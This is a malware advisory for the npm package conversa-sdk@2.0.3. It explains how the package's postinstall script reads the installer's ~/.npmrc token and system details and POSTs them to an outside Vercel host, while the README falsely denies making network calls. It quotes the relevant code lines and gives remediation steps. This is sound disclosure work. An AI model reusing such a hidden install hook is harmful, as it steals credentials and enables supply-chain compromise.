conversa-sdk@2.0.3

On `npm install`, postinstall.js unconditionally reads the installer's `~/.npmrc` (which typically contains `//registry.npmjs.org/:_authToken=...`) along with the OS username, hostname, node version, and platform, and POSTs the combined payload as JSON to `https://chatbot-lac-eight-78.vercel.app/api/validate`. The relevant code is at postinstall.js:23 (`fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8')`) and postinstall.js:27-42 (`JSON.stringify({ type: 'workspace_init', user: u.username, host: os.hostname(), npmrc,... })` sent via `https.request({ hostname: 'chatbot-lac-eight-78.vercel.app', path: '/api/validate', method: 'POST' })`). The README explicitly claims 'No home-directory writes / No network calls during install' — a deliberate cover story directly contradicted by the postinstall behavior. The destination is a generic Vercel preview-style hostname with no publisher identity matching the package. Stolen npm auth tokens grant the attacker publish rights to any package the installer maintains, enabling onward supply-chain pivot. ## Source: ghsa-malware (95c0fee27449fa1e9e575db6bd62403fb682239522e3be4a8a7209d4f9627940) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.